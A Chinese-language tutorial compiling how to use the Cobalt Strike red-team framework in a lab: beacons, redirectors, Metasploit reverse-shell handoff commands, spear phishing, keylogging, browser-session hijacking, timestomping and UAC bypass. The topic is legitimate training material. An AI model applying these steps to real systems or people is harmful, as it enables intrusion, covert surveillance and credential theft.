Cobalt Strike 使用指南(资源整合笔记)
0x00 寫在前面的話
Cobalt Strike自出世以來,一直在紅隊常用的工具行列。因其優良的團隊協作性,被冠以多人運動的必備利器。
本文將網絡上各路神仙的經驗分享以滲透流程為依據進行了一次整合,旨在提供工具的學習使用流程。
1、工具介紹
CS是什么?
Cobalt Strike是一款滲透測試神器,常被業界人稱為CS神器。Cobalt Strike已經不再使用MSF而是作為單獨的平臺使用,它分為客戶端與服務端,服務端是一個,客戶端可以有多個,可被團隊進行分布式協團操作。
Cobalt Strike集成了端口轉發、掃描多模式端口Listener、Windows exe程序生成、Windows dll動態鏈接庫生成、java程序生成、office宏代碼生成,包括站點克隆獲取瀏覽器的相關信息等。
早期版本Cobalt Srtike依賴Metasploit框架,而現在Cobalt Strike已經不再使用MSF而是作為單獨的平臺使用。
這個工具的社區版是大家熟知的Armitage(一個MSF的圖形化界面工具),而Cobalt Strike大家可以理解其為Armitage的商業版。
CS的發展
- Armitage [2010-2012]
Armitage是一個紅隊協作攻擊管理工具,它以圖形化方式實現了Metasploit框架的自動化攻擊。Armitage采用Java構建,擁有跨平臺特性。 - Cobalt Strike 1.x [2012-2014]
Cobalt Strike 增強了Metasploit Framework在執行目標攻擊和滲透攻擊的能力。 - Cobalt Strike 2.x [2014-?]
Cobalt Strike 2是應模擬黑客攻擊的市場需求而出現的,Cobalt Strike 2是以malleable C2技術的需求為定位的,這個技術使Cobalt Strike的能力更強了一些。 - Cobalt Strike 3.x [2015-?]
Cobalt Strike 3 的攻擊和防御都不用在Metasploit Framework平臺(界面)下進行。 - 如今 Cobalt Strike 4.0 也已經發布,改動相比 3.x 還是不小的,甚至現在也有所謂去后門的4.2版本現世。
測試過程常常會聯動的工具
Metasploit Framework
PowerSploit
PowerTools
Veil Evasion Framework
0x01 基礎操作
1、客戶端與服務端的連接
Cobalt Strike使用C/S架構,Cobalt Strike的客戶端連接到團隊服務器,團隊服務器連接到目標,也就是說Cobalt Strike的客戶端不與目標服務器進行交互。
準備工作
Cobalt Strike的客戶端想連接到團隊服務器需要知道三個信息:
- 團隊服務器的外部IP地址
- 團隊服務器的連接密碼
- 決定Malleable C2工具的哪一個用戶配置文件被用于團隊服務器(此項可選)
知道這些信息后,就可以使用腳本開啟團隊服務器了,值得注意的是Cobalt Strike團隊服務器只能運行在Linux環境下。
開啟團隊服務器
開啟團隊服務器命令一般如下:
./teamserver your_ip your_passowrd [config_file]服務端開啟后,就可以開啟客戶端進行連接了
連接到團隊服務器
在Linux下,直接運行start.sh腳本文件,輸入團隊服務器的IP、密碼和自己的用戶名進行連接
點擊Connect連接后,會有個提示信息,如果承認提示信息中的哈希值就是所要連接團隊服務器的哈希值就點擊Yes,隨后即可打開CS客戶端界面
在Windows下的連接方法也基本一致,直接雙擊start.bat文件,輸入IP、密碼、用戶名,點擊Connect即可
在連接后,團隊之間就可以通過客戶端進行溝通,信息共享
Cobalt Strike不是用來設計指導在一個團隊服務器下進行工作的,而是被設計成在一次行動中使用多個團隊服務器。
這樣設計的目的主要在于運行安全,如果一個團隊服務器停止運行了,也不會導致整個行動的失敗。
連接到多個團隊服務器
Cobalt Strike連接到多個團隊服務器也很簡單,直接點擊左上角的加號,輸入其他團隊服務器的信息后,即可連接
2、監聽器、傳輸器
- 什么是監聽器
顧名思義,監聽器就是等待被入侵系統連接自己的一個服務。 - 監聽器的作用
主要是為了接受payload回傳的各類數據,類似于MSF中handler的作用。
比如payload在目標機器執行以后,就會回連到監聽器然后下載執行真正的shellcode代碼。
一旦監聽器建立起來,團隊成員只需要知道這個監聽器的名稱即可,不用關心監聽器背后的基礎環境。
一個監聽器由用戶定義的名稱、payload 類型和幾個特定于 payload 的選項組成。
監聽器的名字一般由以下結構組成:
Operating System/Payload/Stager
例如:
windows/beacon_http/reverse_http
- 什么是傳輸器
攻擊載荷payload就是攻擊執行的內容。攻擊載荷通常被分為兩部分:傳輸器stager 和傳輸體stage。
傳輸器stager是一個小程序,用于連接、下載傳輸體stage,并插入到內存中。
需要傳輸體是因為在很多攻擊中對于能加載進內存,并在成功漏洞利用后執行的數據大小存在嚴格限制。這就導致在攻擊成功時,很難嵌入額外的攻擊載荷,正是因為這些限制,才使得傳輸器變得有必要了。
創建監聽器
在CS客戶端中打開 Cobalt Strike —》Listeners,之后點擊Add,此時彈出New Listener窗口,在填寫監聽器的相關信息之前,需要先來了解監聽器有哪些類型。
Cobalt Strike有兩種類型的監聽器:
- Beacon
Beacon直譯過來就是燈塔、信標、照亮指引的意思,Beacon是較為隱蔽的后滲透代理。
Beacon監聽器的名稱例如:
windows/beacon_http/reverse_http
- Foreign
Foreign直譯就是外部的,可以理解成對外監聽器,這種類型的監聽器主要作用是給其他的Payload提供別名,比如Metasploit 框架里的Payload。
對外監聽器的名稱例如:
windows/foreign/reverse_https
HTTP 和 HTTPS Beacon
Beacon是什么
Beacon的類型
HTTP 和 HTTPS Beacon
HTTP和HTTPS Beacon也可以叫做Web Beacon。默認設置情況下,HTTP 和 HTTPS Beacon 通過 HTTP GET 請求來下載任務。這些 Beacon 通過 HTTP POST 請求傳回數據。
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
創建一個HTTP Beacon
點擊 Cobalt Strike --> Listeners 打開監聽器管理窗口,點擊Add,輸入監聽器的名稱、監聽主機地址,因為這里是要創建一個HTTP Beacon,所以其他的默認就行,最后點擊Save
此時可以測試一下剛才設置的監聽器,點擊Attack --> Web Drive-by --> Scripted Web Delivery(s) ,在彈出的窗口中選擇剛才新添的Listener,因為我的靶機是64位的,所以我把Use x64 payload也給勾選上了,最后點擊Launch
復制彈窗的命令,放到靶機中運行
此時,回到CS,就可以看到已經靶機上線了
HTTPS Beacon
HTTPS Beaocn和HTTP Beacon一樣,使用了相同的Malleable C2配置文件,使用GET和POST的方式傳輸數據,不同點在于HTTPS使用了SSL,因此HTTPS Beacon就需要使用一個有效的SSL證書,具體如何配置可以參考:https://www.cobaltstrike.com/help-malleable-c2#validssl (opens new window)
DNS Beacon
DNS Beacon,顧名思義就是使用DNS請求將Beacon返回。這些 DNS 請求用于解析由你的 CS 團隊服務器作為權威 DNS 服務器的域名。DNS 響應告訴 Beacon 休眠或是連接到團隊服務器來下載任務。DNS 響應也告訴 Beacon 如何從你的團隊服務器下載任務。
在CS 4.0及之后的版本中,DNS Beacon是一個僅DNS的Payload,在這個Payload中沒有HTTP通信模式,這是與之前不同的地方。
DNS Beacon的工作流程具體如下:
首先,CS服務器向目標發起攻擊,將DNS Beacon傳輸器嵌入到目標主機內存中,然后在目標主機上的DNS Beacon傳輸器回連下載CS服務器上的DNS Beacon傳輸體,當DNS Beacon在內存中啟動后就開始回連CS服務器,然后執行來自CS服務器的各種任務請求。
原本DNS Beacon可以使用兩種方式進行傳輸,一種是使用HTTP來下載Payload,一種是使用DNS TXT記錄來下載Payload,不過現在4.0版本中,已經沒有了HTTP方式,CS4.0以及未來版本都只有DNS TXT記錄這一種選擇了。
*DNS Beacon擁有更高的隱蔽性,但是速度相對于HTTP Beacon什么的會更慢. *
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
創建一個DNS Beacon
域名配置
既然是配置域名,所以就需要先有個域名,添加一條A記錄指向CS服務器的公網IP,再添加幾條ns記錄指向A記錄域名即可。
添加一個監聽器,DNS Hosts填寫NS記錄和A記錄對應的名稱,DNS Host填寫A記錄對應的名稱 。
根據上一章的方法創建一個攻擊腳本,放到目標主機中運行后,在CS客戶端可以看到一個小黑框。
然后經過一段時間的等待,就可以發現已經上線了
SMB Beacon
SMB Beacon也可以叫做pipe beacon
windows/beacon_smb/bind_pipe
SMB Beacon 使用命名管道通過一個父 Beacon 進行通信。這種對等通信對同一臺主機上的 Beacon 和跨網絡的 Beacon 都有效。Windows 將命名管道通信封裝在 SMB 協議中。因此得名 SMB Beacon。
因為鏈接的Beacons使用Windows命名管道進行通信,此流量封裝在SMB協議中,所以SMB Beacon相對隱蔽,繞防火墻時可能發揮奇效(系統防火墻默認是允許445的端口與外界通信的,其他端口可能會彈窗提醒,會導致遠程命令行反彈shell失敗)。
SMB Beacon監聽器對“提升權限”和“橫向滲透”中很有用。
SMB Beacon 配置
首先需要一個上線的主機,這里我使用的HTTP Beacon。
主機上線后,新建一個SMB Beacon,輸入監聽器名稱,選擇Beacon SMB,管道名稱可以直接默認,也可以自定義。
接下來在Beacon中直接輸入spawn SMB,這里的SMB指代的是創建的SMB Beacon的監聽器名稱,也可以直接右擊session,在Spawn選項中選擇剛添加的SMB Beacon。
等待一會兒,就可以看到派生的SMB Beacon,在external中可以看到IP后有個∞∞字符。
接下來我這里將SMB Beacon插入到進程中,以vmtoolsed進程為例。
在vmtoolsed中插入SMB Beacon后,便能看到process為vmtoolsed.exe的派生SMB Beacon。
當上線主機較多的時候,只靠列表的方式去展現,就顯得不太直觀了,通過CS客戶端中的透視圖便能很好的展現。
在CS中,如果獲取到目標的管理員權限,在用戶名后會有*號標注,通過這個區別,可以判斷出當前上線的test用戶為普通權限用戶,因此這里給他提升一下權限。
提權
由于CS自帶的提權方式較少,因此這里就先加載一些網上的提權腳本,腳本下載地址為: https://github.com/rsmudge/ElevateKit (opens new window)
下載之后,打開Cobalt Strike --> Script Manager ,之后點擊Load,選擇自己剛才下載的文件中的elevate.cna文件。
接著選擇要提權的主機,右擊選擇Access --> Elevate,Listener中選擇剛才新建的SMB Beacon,這里的Exploit選擇了ms14-058,如果使用ms14-058不能提權,就換一個Exploit進行嘗試。
順利的情況下,就可以看到提權后的管理員權限會話了,在管理員權限的會話中,不光用戶名后有個*號,其Logo也是和其他會話不同的。
連接與斷開
此時如果想斷開某個會話的連接,可以使用unlink命令,比如如果想斷開192.168.175.144,就可以在Beacon中輸入
unlink 192.168.175.144
如果想再次連上,就直接輸入link 192.168.175.144,想從當前主機連到其他主機也可以使用此命令。
3、重定向器
重定向器Redirectors是一個位于CS團隊服務器和目標網絡之間的服務器,這個重定向器通俗的來說就是一個代理工具,或者說端口轉發工具,擔任CS服務器與目標服務器之間的跳板機角色,整體流量就像下面這樣。
目標靶機 <-------->多個并列的重定向器<------>CS服務器
重定向器在平時的攻擊或者防御的過程中起到很重要的作用,主要有以下兩點:
- 保護自己的CS服務器,避免目標發現自己的真實IP
- 提高整體可靠性,因為可以設置多個重定向器,因此如果有個別重定向器停止工作了,整體上系統依舊是可以正常工作的
創建一個重定向器
CS服務器IP:192.168.175.129
目標靶機IP:192.168.175.130
重定向器IP:192.168.175.132、192.168.175.133
首先,需要先配置重定向器的端口轉發,比如這里使用HTTP Beacon,就需要將重定向器的80端口流量全部轉發到CS服務器上,使用socat的命令如下:
socat TCP4-LISTEN:80,fork TCP4:192.168.175.129:80
如果提示沒有socat命令,安裝一下即可。重定向器設置好之后,就新建一個HTTP Beacon,并把重定向器添加到HTTP Hosts主機列表中
此時可以測試一下重定向器是否正常工作,在CS中打開 View --> Web Log,之后瀏覽器訪問CS服務器地址,也就是這里的192.168.175.129
可以看到CS是能夠正常接收到流量的,說明重定向器已經配置OK了,此時按照上面創建一個HTTP Beacon的操作,創建一個HTTP Beacon,并在靶機中運行
當靶機上線的時候,觀察靶機中的流量,可以看到與靶機連接的也是重定向器的IP
在CS中也可以看到上線主機的外部IP也是重定向器的IP,此時如果關閉一個重定向器,系統依舊可以正常工作。
0x02 目標攻擊
“紅藍大戰”持續至今,誕生了各種WAF、防火墻。各種漏洞已經很難像過去那么好被利用了,攻擊者想繞過防火墻發動攻擊也不是那么容易的了。
而當我們發送一個釣魚文件到目標機上,再在目標機上打開這個文件,最后目標機穿過防火墻回連到我們的服務,此時在目標機客戶端上我們就獲得了一個立足點。
1、系統偵察
系統偵察System Profiler是一個方便客戶端攻擊的偵察工具,這個工具將會在CS服務端上啟動一個Web服務,這樣當目標訪問這個Web服務的時候,我們就能夠看到目標使用的瀏覽器、操作系統等等指紋信息。
設置系統偵察需要首先在自己的VPS服務器上運行CS服務端,之后本地客戶端進行連接,選擇System Profiler功能模塊,配置待跳轉的URL等信息即可。
如果勾選了Use Java Applet to get information則可以發現目標的Java版本及內網IP地址,但是這樣做被發現的風險就會提高,同時現在瀏覽器已經默認關閉了java執行權限,因此這個選項的作用也變得不大了。不過,工控網絡可以嘗試一下。
配置完后,當用戶打開配置后的鏈接,我們可以在三個地方進行觀察
- 1、View --> Applications
- 2、View --> Web Log
- 3、Cobalt Strike --> Visualization --> Target Table
目標用戶打開鏈接時,我們在CS上就能夠看到目標使用的瀏覽器版本、系統版本等信息了,知道了版本信息,就能夠進一步知道目標上可能存在什么漏洞。
值得注意的一點是如果 Cobalt Strike 的 web 服務器收到了lynx、wget 或 curl 的請求,CS會自動返回一個 404 頁面,這樣做是為了防御藍隊的窺探。
2、CS攻擊方式
用戶驅動攻擊
用戶驅動攻擊User-Driven Attacks需要欺騙用戶產生交互才行,但也有許多的優點。
首先用戶驅動攻擊不包含惡意攻擊代碼,所以用戶系統上的安全補丁是沒用的;其次無論目標使用什么版本的程序,我們都可以創建相應的功能來執行;最后因為用戶驅動攻擊十分可靠,也使得它很完美。
當我們采取行動來追蹤并需要攻擊時,它就像用戶本地執行程序一樣,CS為我們提供了幾個用戶驅動攻擊的選項,分別如下:
用戶驅動攻擊包
用戶驅動攻擊包User-Driven Attacks Packages功能打開位置:Attacks --> Packages
- 1、HTML應用
HTML應用HTML Application生成(executable/VBA/powershell)這3種原理不同的VBScript實現的evil.hta文件。 - 2、Microsoft Office 宏文件
Microsoft Office 宏文件Microsoft Office Document Macros可以生成惡意宏放入office文件,非常經典的攻擊手法。 - 3、Payload 生成器
Payload生成器Payload Generator可以生成各種語言版本的Payload,便于進行免殺。 - 4、Windows 可執行文件
Windows 可執行文件Windows Executable 會生成一個Windows可執行文件或DLL文件。默認x86,勾選x64表示包含x64 payload stage生成了artifactX64.exe(17kb) artifactX64.dll(17kb) - 5、Windows 可執行文件(Stageless)
Windows 可執行文件(Stageless)Windows Executable (Stageless)會生成一個無進程的Windows可執行文件或DLL文件。其中的 Stageless 表示把包含payload在內的"全功能"被控端都放入生成的可執行文件beconX64.exe(313kb) beconX64.dll(313kb) becon.ps1(351kb)
用戶驅動的Web交付攻擊
用戶驅動Web交付攻擊User-Driven Web Drive-by Attacks功能打開位置:Attacks --> Web Drive-by
- 1、java 簽名 applet 攻擊
java 簽名 applet 攻擊Java Signed Applet Attack會啟動一個Web服務以提供自簽名Java Applet的運行環境,瀏覽器會要求用戶授予applet運行權限,如果用戶同意則實現控制,但目前該攻擊方法已過時。 - 2、Java 智能 Applet 攻擊
Java 智能 Applet 攻擊Java Smart Applet Attack會自動檢測Java版本并利用已知的漏洞繞過安全沙箱,但CS官方稱該攻擊的實現已過時,在現在的環境中無效。 - 3、腳本化 Web 交付
腳本化 Web 交付Scripted Web Delivery 為payload提供web服務以便于下載和執行,類似于MSF的Script Web Delivery - 4、托管文件
托管文件Host File通過Attacks --> Web Drive-by --> Host File進行配置,攻擊者可以通過這個功能將文件上傳到CS服務端上,從而進行文件托管。
如果想刪除上傳到CS服務端上的文件,可以到Attacks --> Web Drive-by --> Manage下進行刪除。
如果想查看誰訪問了這些文件,可以到View --> Web Log下進行查看。
3開始攻擊
HTML 應用攻擊
首先來到Attacks --> Packages --> HTML Application創建一個HTML應用,如果沒有創建監聽的話,還需要創建一個監聽。
HTML應用文件生成好后,來到Attacks --> Web Drive-by --> Host File,選擇剛才生成的文件,最后點擊Launch,復制CS創建的鏈接,在目標主機上打開此鏈接。
當在目標主機上提示是否運行時,點擊運行。
當該文件在目標上運行后,CS客戶端上就可以看到回連的會話了。
MSF 與 CS 的結合利用
如果想使用MSF對目標進行漏洞利用,再通過這個漏洞來傳輸Beacon的話,也是可以的。
- 1、首先在MSF上選擇攻擊模塊
- 2、接著在MSF上設置Payload為windows/meterpreter/reverse_http或者windows/meterpreter/reverse_https,這么做是因為CS的Beacon與MSF的分階段協議是相兼容的。
- 3、之后在MSF中設置Payload的LHOST、LPORT為CS中Beacon的監聽器IP及端口。
- 4、然后設置 DisablePayloadHandler 為 True,此選項會讓 MSF 避免在其內起一個 handler 來服務你的 payload 連接,也就是告訴MSF說我們已經建立了監聽器,不必再新建監聽器了。
- 5、再設置 PrependMigrate 為 True,此選項讓 MSF 前置 shellcode 在另一個進程中運行 payload stager。如果被利用的應用程序崩潰或被用戶關閉,這會幫助 Beacon 會話存活。
- 6、最后運行exploit -j,-j 是指作為job開始運行,即在后臺運行。
操作
在CS中新建一個HTTP Beacon,創建過程不再贅述。
-
1、在MSF中選擇攻擊模塊,根據教程這里選擇的adobe_flash_hacking_team_uaf模塊,不過個人感覺現在這個模塊已經不太能被利用成功了。
use exploit/multi/browser/adobe_flash_hacking_team_uaf -
2、接著配置payload,這里選擇revese_http payload
set payload windows/meterpreter/revese_http
set LHOST cs_server_ip
set LPORT 80 -
3、之后,配置DisablePayloadHandler、PrependMigrate為 True
set DisablePayloadHandler True
set PrependMigrate True -
4、最后,開始攻擊。
exploit -j
偽裝—克隆網站
在向目標發送漏洞程序之前,我們將自己進行偽裝一下,這樣可以更好的保護自己,同時提高成功率。CS上有個克隆網站的功能,能夠較好的幫助到我們。
首先,來到Attacks --> Web Drive-by --> Clone Site下,打開克隆網站的功能,之后寫入待克隆網站的URL,在Attack中寫入MSF中生成的URL。
其中Log keystrokes on cloned site選項如果勾選則可以獲取目標的鍵盤記錄,記錄結果在Web Log中能夠查看。
之后,瀏覽器打開克隆站點地址,如果目標存在漏洞,就可以被利用了,同時在CS中也會觀察到主機上線。
魚叉式網絡釣魚
用CS進行釣魚需要四個步驟:
- 1、創建一個目標清單
- 2、制作一個郵件模板或者使用之前制作好的模板
- 3、選擇一個用來發送郵件的郵件服務器
- 4、發送郵件
目標清單
目標清單就是每行一個郵件地址的txt文件,即每行包含一個目標。
在一行中除了郵件地址也可以使用標簽或一個名字。如果提供了名稱,則有助于 Cobalt Strike 自定義每個網絡釣魚。
這里使用一些在線郵件接收平臺的郵箱地址作為示例。
astrqb79501@chacuo.net test1
gswtdm26180@chacuo.net test2
ypmgin95416@chacuo.net test3
將以上內容保存為txt文本文件,就創建好了自己的目標清單。
模板
使用模板的好處在于可以重復利用,制作釣魚模板也很簡單。
首先可以自己寫一封郵件發給自己,或者直接從自己收件箱挑選一個合適的。有了合適的郵件之后,查看郵件原始信息,一般在郵件的選項里能找到這個功能。最后將郵件的原始信息保存為文件,一個模板就制作完成了。
發送郵件
有了目標和模板,然后選好自己的郵件服務器,之后就可以發送消息了。
在CS客戶端中,點擊Attacks --> Spear Phish即可打開網絡釣魚模塊。添加上目標、模板、釣魚地址、郵箱服務、退回郵箱,其中Bounce To為退回郵件接收地址,注意要和配置郵件服務器時填的郵箱一致,否則會報錯。
所有信息添加完成后,可以點擊Preview查看。如果感覺效果不錯,就可以點擊send發送了。
當目標收到釣魚郵件,并且點擊釣魚郵件中的鏈接后,如果釣魚鏈接配置的沒有問題,CS就能夠上線了。
在真實環境中的釣魚郵件也不會像這里這么浮夸,真實環境中的釣魚郵件往往都偽裝成和正經兒的郵件一模一樣,單從表面上看很難看出區別,因此提高自己的安全意識還是很重要滴。
0x03后滲透
1、Beacon 的管理
Beacon 控制臺
在一個 Beacon 會話上右擊 interact(交互)即可打開 Beacon 控制臺,如果想對多個會話進行控制,也只需選中多個會話,執行相關功能即可。
在 Beacon 的控制臺中的輸入與輸出之間,是一個狀態欄,狀態欄上的信息分別是:目標 NetBIOS 名稱、用戶名、會話PID以及 Beacon 最近一次連接到 CS 團隊服務器的時間。
Beacon 控制臺是在使用 CS 的過程中,很經常用到的功能,向 Beacon 發出的每個命令,都可以在這里看到,如果隊友發送了消息,在 Beacon 控制臺同樣能看到,消息前還會顯示隊友的名稱。
Beacon 菜單
- Access:包含了一些對憑據的操作及提權的選項
- Explore:包含了信息探測與目標交互的選項
- Pivoting:包含了一些設置代理隧道的選項
- Session:包含了對當前 Beacon 會話管理的選項
- Beacon 命令
- help:查看 Beacon 命令的幫助信息。使用 help + 待查看幫助的命令可查看該命令的幫助信息。
- clear:清除 Beacon 命令隊列。Beacon 是一個異步的 Payload,輸入的命令并不會立即執行,而是當 Beacon 連接到團隊服務器時再一一執行命令,因此當需要清除隊列命令時就可以使用 clear 命令。
- sleep:改變 Beacon 的休眠時間。輸入 sleep 30表示休眠30秒;輸入sleep 60 50表示,隨機睡眠 30秒至60秒,其中30秒 = 60 x 50%;如果輸入 sleep 0則表示進入交互模式,任何輸入的命令都會被立即執行,當輸入一些命令,比如desktop時, Beacon 會自動進入交互模式。
- shell:通過受害主機的 cmd.exe 執行命令。比如運行ipconfig,就需要輸入shell ipconfig
- run:不使用 cmd.exe 執行命令。該命令也是 run + 命令的形式運行,該命令會將執行結果回顯。
- execute:執行命令,但不回顯結果。
- cd:切換當前工作目錄。
- pwd:查看當前所在目錄。
- powershell:通過受害主機的 PowerShell 執行命令。比如想在 PowerShell 下運行 ipconfig,就需要輸入powershell ipconfig
- powerpick:不使用 powershell.exe 執行 powershell 命令。這個命令依賴于由 Lee Christensen 開發的非托管 PowerShell 技術。powershell 和 powerpick 命令會使用當前令牌( token )。
- psinject:將非托管的 PowerShell 注入到一個特定的進程中并從此位置運行命令。
- powershell-import:導入 PowerShell 腳本到 Beacon 中。直接運行 powershell-import + 腳本文件路徑即可,但是這個腳本導入命令一次僅能保留一個 PowerShell 腳本,再導入一個新腳本的時候,上一個腳本就被覆蓋了,因此可以通過導入一個空文件來清空 Beacon 中導入的腳本。
- powershell get-help:獲取 PowerShell 命令的相關幫助信息。比如想獲取 PowerShell 下 get-process 命令的幫助,就需要輸入powershell get-help get-process
- execute-assembly:將一個本地的 .NET 可執行文件作為 Beacon 的后滲透任務來運行。
- setenv:設置一個環境變量。
2、會話傳遞
會話傳遞相關命令
- Beacon 被設計的最初目的就是向其他的 CS 監聽器傳遞會話。
- spawn:進行會話的傳遞,也可直接右擊會話選擇spawn命令進行會話的選擇。默認情況下,spawn命令會在 rundll32.exe 中派生一個會話。為了更好的隱蔽性,可以找到更合適的程序(如 Internet Explorer) 并使用spawnto命令來說明在派生新會話時候會使用 Beacon 中的哪個程序。
- spawnto:該命令會要求指明架構(x86 還是 x64)和用于派生會話的程序的完整路徑。單獨輸入spawnto命令然后按 enter 會指示 Beacon 恢復至其默認行為。
- inject:輸入inject + 進程 id + 監聽器名來把一個會話注入一個特定的進程中。使用 ps 命令來獲取一個當前系統上的進程列表。使用inject [pid] x64來將一個64位 Beacon 注入到一個 64位進程中。
- spawn和inject命令都將一個 payload stage 注入進內存中。如果 payload stage 是 HTTP、HTTPS 或 DNS Beacon 并且它無法連接到你,那么將看不到一個會話。如果 payload stage 是一個綁定的 TCP 或 SMB 的 Beacon,這些命令會自動地嘗試連接到并控制這些 payload。
- dllinject:dllinject + [pid]來將一個反射性 DLL 注入到一個進程中。
- shinject:使用shinject [pid] [架構] [/路徑/…/file.bin]命令來從一個本地文件中注入 shellcode 到一個目標上的進程中。
- shspawn:使用shspawn [架構] [/路徑/…/file.bin]命令會先派生一個新進程(這個新進程是 spawn to 命令指定的可執行文件),然后把指定的 shellcode 文件( file.bin )注入到這個進程中。
- dllload:使用dllload [pid] [c:\路徑…\file.dll]來在另一個進程中加載磁盤上的 DLL文件。
會話傳遞使用場景
1、將當前會話傳遞至其他CS團隊服務器中,直接右擊spawn選擇要傳遞的監聽器即可。
2、將當前會話傳遞至MSF中,這里簡單做一下演示。
首先,在MSF中,為攻擊載荷新建一個payload
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 192.168.175.156
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > exploit -j
隨后,在CS中新建一個外部Foreign監聽器,這里設置的監聽IP與端口和MSF中的一致即可,隨后在CS中利用spawn選擇剛新建的外部監聽器,MSF中即可返回會話。
3、文件系統
瀏覽會話系統文件位置在右擊會話處,選擇 Explore --> File Browser即可打開。在這里可以對當前會話下的文件進行瀏覽、上傳、下載、刪除等操作。
在進行文件瀏覽時,如果 beacon 設置的 sleep 值較高,CS會因此而變得響應比較慢。
彩色文件夾表示該文件夾的內容位于此文件瀏覽器的緩存中;深灰色的文件夾表示該文件夾的內容不在此文件瀏覽器緩存中。
文件下載
- download:下載請求的文件。Beacon 會下載它的任務要求獲取的每一個文件的固定大小的塊。這個塊的大小取決于 Beacon 當前的數據通道。HTTP 和 HTTPS 通道會拉取 512kb 的數據塊。
- downloads:查看當前 Beacon 正在進行的文件下載列表。
- cancel:該命令加上一個文件名來取消正在進行的一個下載任務。也可以在 cancel 命令中使用通配符來一次取消多個文件下載任務。
下載文件都將下載到CS團隊服務器中,在View --> Download下可看到下載文件的記錄,選中文件后使用Sync Files即可將文件下載到本地。
文件上傳
- upload:上傳一個文件到目標主機上。
- timestomp:將一個文件的修改屬性訪問屬性和創建時間數據與另一個文件相匹配。當上傳一個文件時,有時會想改變此文件的時間戳來使其混入同一文件夾下的其他文件中,使用timestomp 命令就可以完成此工作。
4、用戶驅動溢出攻擊
Beacon 運行任務的方式是以jobs去運行的,比如鍵盤記錄、PowerShell 腳本、端口掃描等,這些任務都是在 beacon check in 之間于后臺運行的。
- jobs:查看當前 Beacon 中的任務
- jobkill:加上任務 ID,對指定任務進行停止
屏幕截圖
- screenshot:獲取屏幕截圖,使用screenshot pid來將截屏工具注入到一個 x86 的進程中,使用screenshot pid x64注入到一個 x64 進程中,explorer.exe 是一個好的候選程序。
- 使用screenshot [pid] [x86|x64] [time]來請求截屏工具運行指定的秒數,并在每一次 Beacon 連接到團隊服務器的時候報告一張屏幕截圖,這是查看用戶桌面的一種簡便方法。要查看截屏的具體信息,通過View --> Screenshots來瀏覽從所有 Beacon 會話中獲取的截屏。
鍵盤記錄
- keylogger:鍵盤記錄器,使用keylogger pid來注入一個 x86 程序。使用keylogger pid x64來注入一個 x64 程序,explorer.exe 是一個好的候選程序。
使用單獨的 keylogger 命令來將鍵盤記錄器注入一個臨時程序。鍵盤記錄器會監視從被注入的程序中的鍵盤記錄并將結果報告給 Beacon,直到程序終止或者自己殺死了這個鍵盤記錄后滲透任務。要查看鍵盤記錄的結果,可以到View --> Keystrokes中進行查看。
其他
除了上述使用命令的方式進行屏幕截圖和鍵盤記錄,也可以來到Explore --> Process List下選擇要注入的進程,再直接點擊屏幕截圖或鍵盤記錄的功能按鈕。
從使用上,具體注入那個程序都是可以的,只是注入 explorer.exe 會比較穩定與持久。值得注意的是,多個鍵盤記錄器可能相互沖突,每個桌面會話只應使用一個鍵盤記錄器。
5、瀏覽器轉發
瀏覽器轉發是指在已經攻擊成功的目標中,利用目標的信息登錄網站進行會話劫持,但是目前只支持目標正在使用IE瀏覽器的前提下。關于如何判斷當前用戶是否使用IE瀏覽器,則可以通過屏幕截圖來判斷。如下圖中,通過屏幕截圖可以看到目標正在使用IE瀏覽器登陸著當前網站的admin賬戶。
找到目前正在使用IE瀏覽器的目標后,右擊該會話,選擇Explore --> Browser Pivot,隨后選擇要注入的進程,CS 會在它認為可以注入的進程右邊顯示一個對勾,設置好端口后,點擊運行即可。
此時,在瀏覽器中配置代理,代理配置為http代理,IP為CS團隊服務器IP,端口為剛設置的端口。
代理配置好后,在瀏覽器中打開目標當前正在打開的網址,即可繞過登錄界面。
6、端口掃描
portscan:進行端口掃描,使用參數為:portscan [targets] [ports] [discovery method]。
目標發現discovery method有三種方法,分別是:arp、icmp、none,arp方法使用 ARP 請求來發現一個主機是否存活。icmp方法發送一個 ICMP echo 請求來檢查一個目標是否存活。none選項讓端口掃描工具假設所有的主機都是存活的。
端口掃描會在 Beacon 和團隊服務器通訊的這個過程中不停運行。當它有可以報告的結果,它會把結果發送到 Beacon 控制臺。Cobalt Strike 會處理這個信息并使用發現的主機更新目標模型。
右擊 Beacon會話,在Explore --> Port Scan中即可打開端口掃描的圖形窗口,CS會自動填充掃描地址,確認掃描地址、端口、掃描方式等無誤后,開始掃描即可。掃描結束后,在 target table頁面中可看到掃描結果,右擊會話,選擇 Services 可查看詳細的掃描結果。
0x04 提權
1、用戶賬戶控制
自 Windows vista 開始,Windows 系統引進了用戶賬戶控制機制,即 UAC—User Account Control機制,UAC 機制在 Win 7中得到了完善。UAC 與 UNIX 中的 sudo 工作機制十分相似,平時用戶以普通權限工作,當用戶需要執行特權操作時,系統會詢問他們是否要提升權限。
此時系統用戶可分為以下三種等級:
高:管理員權限
中:一般用戶權限
低:受限制的權限
2、提權操作
bypassuac:將本地中級管理員權限提升至本地高級管理員權限,適用于Win 7 及以上的系統。
Bypass UAC 有兩個步驟,分別是:
1、利用 UAC 漏洞來獲取一個特權文件副本
2、使用 DLL 劫持進行代碼執行
首先使用shell whoami /groups查看當前上線主機用戶的所屬組及 UAC 等級
通過返回信息可以看出,當前用戶為管理員權限,UAC 等級為中,根據上一節中關于的介紹,此時可以使用bypassuac進行提權。
首先,右擊會話,選擇Access --> Elevate,這里選擇一個 SMB Beacon,Exploit 選擇uac-token-duplication,最后 Launch 即可。
待 Beacon Check in 后,當前用戶 UAC 為高權限的會話便會上線了。
elevate:將任意用戶的權限提升至系統權限,適用于2018年11月更新之前的 Win 7 和 Win 10 系統。
getsystem:將本地高級管理員權限提升至系統權限。
runas:使用其他用戶的憑證來以其他用戶身份運行一個命令,該命令不會返回任何輸出。
spawnas:使用其他用戶的憑證來以其他用戶身份派生一個會話,這個命令派生一個臨時的進程并將 payload stage 注入進那個進程。
首先,右擊待提權的會話,選擇Access --> Spawn As,輸入目標系統用戶身份信息,其中域信息填寫一個“點”代表本地用戶,監聽器這里選擇的 SMB 監聽器,之后點擊運行就能看到對應的用戶上線了。
PowerUp
可參考https://blog.csdn.net/l1028386804/article/details/86089574
